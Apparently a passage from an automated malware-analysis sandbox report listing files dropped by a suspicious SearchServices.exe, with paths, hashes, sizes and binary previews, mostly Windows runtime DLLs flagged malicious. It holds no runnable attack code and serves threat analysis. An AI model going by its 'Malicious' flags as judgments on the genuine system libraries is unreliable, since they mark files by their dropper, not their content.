SSDEEP:	192:mZyMvr5WqhWAWJWadJCsVWQ4mWWqpNVAv+cQ0GX01k9z3ARo+GZ:mZyMvlWqhWNCsUpNbZR9zQo+GZ
MD5:	2666581584BA60D48716420A6080ABDA
SHA1:	C103F0EA32EBBC50F4C494BCE7595F2B721CB5AD
SHA-256:	27E9D3E7C8756E4512932D674A738BF4C2969F834D65B2B79C342A22F662F328
SHA-512:	BEFED15F11A0550D2859094CC15526B791DADEA12C2E7CEB35916983FB7A100D89D638FB1704975464302FAE1E1A37F36E01E4BEF5BC4924AB8F3FD41E60BD0C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....I..........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..l...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	5.146069394118203
Encrypted:	false
SSDEEP:	384:vUwidv3V0dfpkXc0vVaCsWqhWjCsa2IR9z5Bk5l:sHdv3VqpkXc0vVaP+U9zzk5l
MD5:	225D9F80F669CE452CA35E47AF94893F
SHA1:	37BD0FFC8E820247BD4DB1C36C3B9F9F686BBD50
SHA-256:	61C0EBE60CE6EBABCB927DDFF837A9BF17E14CD4B4C762AB709E630576EC7232
SHA-512:	2F71A3471A9868F4D026C01E4258AFF7192872590F5E5C66AABD3C088644D28629BA8835F3A4A23825631004B1AFD440EFE7161BB9FC7D7C69E0EE204813CA7B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....x.........." .........0...............................................@.......J....`A........................................p...X............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.834520503429805
Encrypted:	false
SSDEEP:	192:etZ3xWqhWqWJWadJCsVWQ4mWfH/fKUSIX01k9z3AEXz40OY:etZ3xWqhWHCsMH2IR9z5OY
MD5:	1281E9D1750431D2FE3B480A8175D45C
SHA1:	BC982D1C750B88DCB4410739E057A86FF02D07EF
SHA-256:	433BD8DDC4F79AEE65CA94A54286D75E7D92B019853A883E51C2B938D2469BAA
SHA-512:	A954E6CE76F1375A8BEAC51D751B575BBC0B0B8BA6AA793402B26404E45718165199C2C00CCBCBA3783C16BDD96F0B2C17ADDCC619C39C8031BECEBEF428CE77
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................." .........0...............................................@.......w....`A........................................p...x............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.916367637528538
Encrypted:	false
SSDEEP:	192:qaIMFSYWqhWzWJWadJCsVWQ4mW14LyttuX01k9z3A2ClV:qdYWqhWqCsISR9zfCT
MD5:	FD46C3F6361E79B8616F56B22D935A53
SHA1:	107F488AD966633579D8EC5EB1919541F07532CE
SHA-256:	0DC92E8830BC84337DCAE19EF03A84EF5279CF7D4FDC2442C1BC25320369F9DF
SHA-512:	3360B2E2A25D545CCD969F305C4668C6CDA443BBDBD8A8356FFE9FBC2F70D90CF4540F2F28C9ED3EEA6C9074F94E69746E7705E6254827E6A4F158A75D81065B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...~.l-.........." .........0...............................................@............`A........................................p................0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.829681745003914
Encrypted:	false
SSDEEP:	192:HNpWqhW5WJWadJCsVWQ4mWbZyttuX01k9z3A2qkFU:HXWqhW4Cs1SR9zf9U
MD5:	D12403EE11359259BA2B0706E5E5111C
SHA1:	03CC7827A30FD1DEE38665C0CC993B4B533AC138
SHA-256:	F60E1751A6AC41F08E46480BF8E6521B41E2E427803996B32BDC5E78E9560781
SHA-512:	9004F4E59835AF57F02E8D9625814DB56F0E4A98467041DA6F1367EF32366AD96E0338D48FFF7CC65839A24148E2D9989883BCDDC329D9F4D27CAE3F843117D0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...>.os.........." .........0...............................................@............`A........................................p...H............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.612408827336625
Encrypted:	false
SSDEEP:	192:CWqhW+WJWadJCsVWQ4mWprgfKUSIX01k9z3AEXzh:CWqhW7Cs12IR9z5F
MD5:	0F129611A4F1E7752F3671C9AA6EA736
SHA1:	40C07A94045B17DAE8A02C1D2B49301FAD231152
SHA-256:	2E1F090ABA941B9D2D503E4CD735C958DF7BB68F1E9BDC3F47692E1571AAAC2F
SHA-512:	6ABC0F4878BB302713755A188F662C6FE162EA6267E5E1C497C9BA9FDDBDAEA4DB050E322CB1C77D6638ECF1DAD940B9EBC92C43ACAA594040EE58D313CBCFAE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....+..........." .........0...............................................@............`A........................................p...<............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.918215004381039
Encrypted:	false
SSDEEP:	192:OvMWqhWkWJWadJCsVWQ4mWoz/HyttuX01k9z3A21O:JWqhWxCs/SSR9zf1O
MD5:	D4FBA5A92D68916EC17104E09D1D9D12
SHA1:	247DBC625B72FFB0BF546B17FB4DE10CAD38D495
SHA-256:	93619259328A264287AEE7C5B88F7F0EE32425D7323CE5DC5A2EF4FE3BED90D5
SHA-512:	D5A535F881C09F37E0ADF3B58D41E123F527D081A1EBECD9A927664582AE268341771728DC967C30908E502B49F6F853EEAEBB56580B947A629EDC6BCE2340D8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...Aj............" .........0...............................................@......UJ....`A.........................................................0...............0..x&..............p............................................................................rdata..p...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26216
Entropy (8bit):	4.882777558752248
Encrypted:	false
SSDEEP:	192:I9cy5WqhWKWEXCVWQ4mW1pbm6yttuX01k9z3A2jyM:Ry5WqhWdcbmLSR9zfjj
MD5:	EDF71C5C232F5F6EF3849450F2100B54
SHA1:	ED46DA7D59811B566DD438FA1D09C20F5DC493CE
SHA-256:	B987AB40CDD950EBE7A9A9176B80B8FFFC005CCD370BB1CBBCAD078C1A506BDC
SHA-512:	481A3C8DC5BEF793EE78CE85EC0F193E3E9F6CD57868B813965B312BD0FADEB5F4419707CD3004FBDB407652101D52E061EF84317E8BD458979443E9F8E4079A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...U.gJ.........." .........@...............................................P............`A.........................................................@...............@..h&..............p............................................................................rdata..n........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.738587310329139
Encrypted:	false
SSDEEP:	192:TWqhWXWEXCVWQ4mWPXTNyttuX01k9z3A2dGxr:TWqhWMKASR9zfYxr
MD5:	F9235935DD3BA2AA66D3AA3412ACCFBF
SHA1:	281E548B526411BCB3813EB98462F48FFAF4B3EB
SHA-256:	2F6BD6C235E044755D5707BD560A6AFC0BA712437530F76D11079D67C0CF3200
SHA-512:	AD0C0A7891FB8328F6F0CF1DDC97523A317D727C15D15498AFA53C07610210D2610DB4BC9BD25958D47ADC1AF829AD4D7CF8AABCAB3625C783177CCDB7714246
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...9.4o.........." .........0...............................................@......h*....`A............................................"............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.202163846121633
Encrypted:	false
SSDEEP:	192:2pUEpnWlC0i5CBWqhWXLeWEXCVWQ4iW+/x6RMySX01k9z3Aza8Az629:2ptnWm5CBWqhWtWMR9zqaH629
MD5:	5107487B726BDCC7B9F7E4C2FF7F907C
SHA1:	EBC46221D3C81A409FAB9815C4215AD5DA62449C
SHA-256:	94A86E28E829276974E01F8A15787FDE6ED699C8B9DC26F16A51765C86C3EADE
SHA-512:	A0009B80AD6A928580F2B476C1BDF4352B0611BB3A180418F2A42CFA7A03B9F0575ED75EC855D30B26E0CCA96A6DA8AFFB54862B6B9AFF33710D2F3129283FAA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...2............." .........0...............................................@......M4....`A.........................................................0...............0..h&..............p............................................................................rdata..0...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.866983142029453
Encrypted:	false
SSDEEP:	192:0vh8Y17aFBRsWqhW9AWEXCVWQ4mWCB4Lrp0KBQfX01k9z3ALkg5Z7:SL5WqhW9boRxB+R9z2kM7
MD5:	D5D77669BD8D382EC474BE0608AFD03F
SHA1:	1558F5A0F5FACC79D3957FF1E72A608766E11A64
SHA-256:	8DD9218998B4C4C9E8D8B0F8B9611D49419B3C80DAA2F437CBF15BCFD4C0B3B8
SHA-512:	8DEFA71772105FD9128A669F6FF19B6FE47745A0305BEB9A8CADB672ED087077F7538CD56E39329F7DAA37797A96469EAE7CD5E4CCA57C9A183B35BDC44182F3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...."]..........." .........0...............................................@............`A.........................................................0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.828044267819929
Encrypted:	false
SSDEEP:	192:dUnWqhWRWJWadJCsVWQ4mW+2PyttuX01k9z3A23y:cWqhWQCsHSR9zf3y
MD5:	650435E39D38160ABC3973514D6C6640
SHA1:	9A5591C29E4D91EAA0F12AD603AF05BB49708A2D
SHA-256:	551A34C400522957063A2D71FA5ABA1CD78CC4F61F0ACE1CD42CC72118C500C0
SHA-512:	7B4A8F86D583562956593D27B7ECB695CB24AB7192A94361F994FADBA7A488375217755E7ED5071DE1D0960F60F255AA305E9DD477C38B7BB70AC545082C9D5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...6..q.........." .........0...............................................@.......-....`A............................................e............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30328
Entropy (8bit):	5.14173409150951
Encrypted:	false
SSDEEP:	384:r7yaFM4Oe59Ckb1hgmLVWqhW2CsWNbZR9zQoekS:/FMq59Bb1jnoFT9zGp
MD5:	B8F0210C47847FC6EC9FBE2A1AD4DEBB
SHA1:	E99D833AE730BE1FEDC826BF1569C26F30DA0D17
SHA-256:	1C4A70A73096B64B536BE8132ED402BCFB182C01B8A451BFF452EFE36DDF76E7
SHA-512:	992D790E18AC7AE33958F53D458D15BFF522A3C11A6BD7EE2F784AC16399DE8B9F0A7EE896D9F2C96D1E2C8829B2F35FF11FC5D8D1B14C77E22D859A1387797C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d................" .........P...............................................`............`A.............................................%...........P...............P..x&..............p............................................................................rdata...'.......0..................@..@.data........@......................@....rsrc........P.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	30312
Entropy (8bit):	4.96699982894665
Encrypted:	false
SSDEEP:	384:PfhhvLPmIHJI6/CpG3t2G3t4odXLVWqhW2ntNbZR9zQo9eZ:xhPmIHJI69VFT9zO
MD5:	075419431D46DC67932B04A8B91A772F
SHA1:	DB2AF49EE7B6BEC379499B5A80BE39310C6C8425
SHA-256:	3A4B66E65A5EE311AFC37157A8101ABA6017FF7A4355B4DD6E6C71D5B7223560
SHA-512:	76287E0003A396CDA84CE6B206986476F85E927A389787D1D273684167327C41FC0FE5E947175C0DEB382C5ACCF785F867D9FCE1FEA4ABD7D99B201E277D1704
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...Y.g..........." .........P...............................................`.......r....`A............................................. ...........P...............P..h&..............p............................................................................rdata..t".......0..................@..@.data........@......................@....rsrc........P.......@..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	4.883012715268179
Encrypted:	false
SSDEEP:	192:5eXrqjd7ZWqhW3WEXCVWQ4mW3Ql1Lrp0KBQfX01k9z3ALkjY/12:54rgWqhWsP1RxB+R9z2kjY/Y
MD5:	272C0F80FD132E434CDCDD4E184BB1D8
SHA1:	5BC8B7260E690B4D4039FE27B48B2CECEC39652F
SHA-256:	BD943767F3E0568E19FB52522217C22B6627B66A3B71CD38DD6653B50662F39D
SHA-512:	94892A934A92EF1630FBFEA956D1FE3A3BFE687DEC31092828960968CB321C4AB3AF3CAF191D4E28C8CA6B8927FBC1EC5D17D5C8A962C848F4373602EC982CD4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...<SdT.........." .........0...............................................@......N.....`A............................................x............0...............0..h&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26208
Entropy (8bit):	5.023753175006074
Encrypted:	false
SSDEEP:	192:4mGqX8mPrpJhhf4AN5/KiFWqhWyzWEXCVWQ4OW4034hHssDX01k9z3AaYX2cWo:4ysyr77WqhWyI0oFDR9z9YH9
MD5:	20C0AFA78836B3F0B692C22F12BDA70A
SHA1:	60BB74615A71BD6B489C500E6E69722F357D283E
SHA-256:	962D725D089F140482EE9A8FF57F440A513387DD03FDC06B3A28562C8090C0BC
SHA-512:	65F0E60136AB358661E5156B8ECD135182C8AAEFD3EC320ABDF9CFC8AEAB7B68581890E0BBC56BAD858B83D47B7A0143FA791195101DC3E2D78956F591641D16
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.....TR.........." .........@...............................................P......D!....`A............................................4............@...............@..`&..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26232
Entropy (8bit):	5.289041983400337
Encrypted:	false
SSDEEP:	192:UuV2OlkuWYFxEpahfWqhWNWJWadJCsVWQ4mWeX9UfKUSIX01k9z3AEXzGd5S:dV2oFVhfWqhWMCstE2IR9z5Sd5S
MD5:	96498DC4C2C879055A7AFF2A1CC2451E
SHA1:	FECBC0F854B1ADF49EF07BEACAD3CEC9358B4FB2
SHA-256:	273817A137EE049CBD8E51DC0BB1C7987DF7E3BF4968940EE35376F87EF2EF8D
SHA-512:	4E0B2EF0EFE81A8289A447EB48898992692FEEE4739CEB9D87F5598E449E0059B4E6F4EB19794B9DCDCE78C05C8871264797C14E4754FD73280F37EC3EA3C304
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...k. U.........." .........@...............................................P............`A............................................a............@...............@..x&..............p............................................................................rdata........... ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26232
Entropy (8bit):	5.284932479906984
Encrypted:	false
SSDEEP:	384:tCLx0C5yguNvZ5VQgx3SbwA7yMVIkFGlTWqhWbQCsMSR9zful:tCV5yguNvZ5VQgx3SbwA71IkFGqHe9zI
MD5:	115E8275EB570B02E72C0C8A156970B3
SHA1:	C305868A014D8D7BBEF9ABBB1C49A70E8511D5A6
SHA-256:	415025DCE5A086DBFFC4CF322E8EAD55CB45F6D946801F6F5193DF044DB2F004
SHA-512:	B97EF7C5203A0105386E4949445350D8FF1C83BDEAEE71CCF8DC22F7F6D4F113CB0A9BE136717895C36EE8455778549F629BF8D8364109185C0BF28F3CB2B2CA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d.... .h.........." .........@...............................................P......\.....`A.........................................................@...............@..x&..............p............................................................................rdata.._........ ..................@..@.data........0......................@....rsrc........@.......0..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22120
Entropy (8bit):	5.253102285412285
Encrypted:	false
SSDEEP:	192:mt3hwDGWqhWrWEXCVWQ4mWn+deyttuX01k9z3A23x:AWqhWgPSR9zfh
MD5:	001E60F6BBF255A60A5EA542E6339706
SHA1:	F9172EC37921432D5031758D0C644FE78CDB25FA
SHA-256:	82FBA9BC21F77309A649EDC8E6FC1900F37E3FFCB45CD61E65E23840C505B945
SHA-512:	B1A6DC5A34968FBDC8147D8403ADF8B800A06771CC9F15613F5CE874C29259A156BAB875AAE4CAAEC2117817CE79682A268AA6E037546AECA664CD4EEA60ADBF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...G............" .........0...............................................@.......&....`A.........................................................0...............0..h&..............p............................................................................rdata..=...........................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22136
Entropy (8bit):	4.810971823417463
Encrypted:	false
SSDEEP:	192:p/fHQduDWqhWJWJWadJCsVWQ4mWxrnyttuX01k9z3A2Yv6WT:p/ftWqhWoCsmySR9zfYvvT
MD5:	A0776B3A28F7246B4A24FF1B2867BDBF
SHA1:	383C9A6AFDA7C1E855E25055AAD00E92F9D6AAFF
SHA-256:	2E554D9BF872A64D2CD0F0EB9D5A06DEA78548BC0C7A6F76E0A0C8C069F3C0A9
SHA-512:	7C9F0F8E53B363EF5B2E56EEC95E7B78EC50E9308F34974A287784A1C69C9106F49EA2D9CA037F0A7B3C57620FCBB1C7C372F207C68167DF85797AFFC3D7F3BA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........v...v...v..~...v..v...v..r...v.....v..t...v.Rich..v.................PE..d...2............." .........0...............................................@......^.....`A............................................^............0...............0..x&..............p............................................................................rdata..............................@..@.data........ ......................@....rsrc........0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI72402\base_library.zip

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	880537
Entropy (8bit):	5.683035771422093
Encrypted:	false
SSDEEP:	12288:lgYJu4KXWyBC6S4IEa8A4a2Y42dOVwx/fpEWertSLMNM:lgYJiVBFLa21nVwx/fpEWe+MNM
MD5:	22FEE1506D933ABB3335FFB4A1E1D230
SHA1:	18331CBA91F33FB6B11C6FDEFA031706AE6D43A0
SHA-256:	03F6A37FC2E166E99CE0AD8916DFB8A70945E089F9FC09B88E60A1649441AB6E
SHA-512:	3F764337A3FD4F8271CBA9602AEF0663D6B7C37A021389395A00D39BD305D2B927A150C2627B1C629FDBD41C044AF0F7BC9897F84C348C2BCCC085DF911EEE02
Malicious:	false
Preview:	PK..........!..^".5...5......._collections_abc.pyco....................................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

C:\Users\user\AppData\Local\Temp\_MEI72402\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292541
Entropy (8bit):	6.048162209044241
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/Q5MSRqNb7d8iu5NF:QWb/TRJLWURrI55MWavdF0D
MD5:	D3E74C9D33719C8AB162BAA4AE743B27
SHA1:	EE32F2CCD4BC56CA68441A02BF33E32DC6205C2B
SHA-256:	7A347CA8FEF6E29F82B6E4785355A6635C17FA755E0940F65F15AA8FC7BD7F92
SHA-512:	E0FB35D6901A6DEBBF48A0655E2AA1040700EB5166E732AE2617E89EF5E6869E8DDD5C7875FA83F31D447D4ABC3DB14BFFD29600C9AF725D9B03F03363469B4C
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI72402\charset_normalizer\md.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Roaming\SearchServices.exe
